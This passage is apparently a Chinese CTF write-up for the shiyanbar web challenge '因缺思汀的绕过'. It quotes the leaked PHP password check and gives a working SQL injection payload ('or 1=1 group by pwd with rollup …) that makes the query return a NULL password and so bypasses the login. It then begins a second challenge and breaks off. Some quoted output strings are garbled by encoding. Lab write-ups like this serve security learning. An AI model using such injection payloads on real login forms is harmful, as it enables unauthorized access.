一、因缺思汀的绕过
1、web题常规套路就是查看源代码,于是右击查看源代码发现:<!--source: source.txt--><br/>。构造url:http://ctf5.shiyanbar.com/web/pcat/source.txt 查看php代码。
2、关键php代码:
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "浜﹀彲璧涜墖锛�";
}
}else{
print "涓€棰楄禌鑹囷紒";
分析代码发现:满足if (mysql_num_rows($query) == 1) 和if($key['pwd'] == $_POST['pwd']) 即可得到flag。也就是说要满足返回的结果集影响数为1,同时
$key['pwd']和 $_POST['pwd']相等。
3、构造sql语句:'or 1 limit 1# 可以满足第一个判断。limit 1 可以控制只查询一行,影响数为1。为了同时满足两个判断可以构造语句:'or 1=1 group by pwd with rollup limit 1 offset 2 #。语句group by pwd with rollup 的意思是在数据库中添加分组使pwd==null;offset 2的意思是从第二行开始查询。
4、查询框中输入:'or 1=1 group by pwd with rollup limit 1 offset 2 #得到flag。
二、拐弯抹角
1、题目列出七个条件:
不能出现 ./
不能出现 ../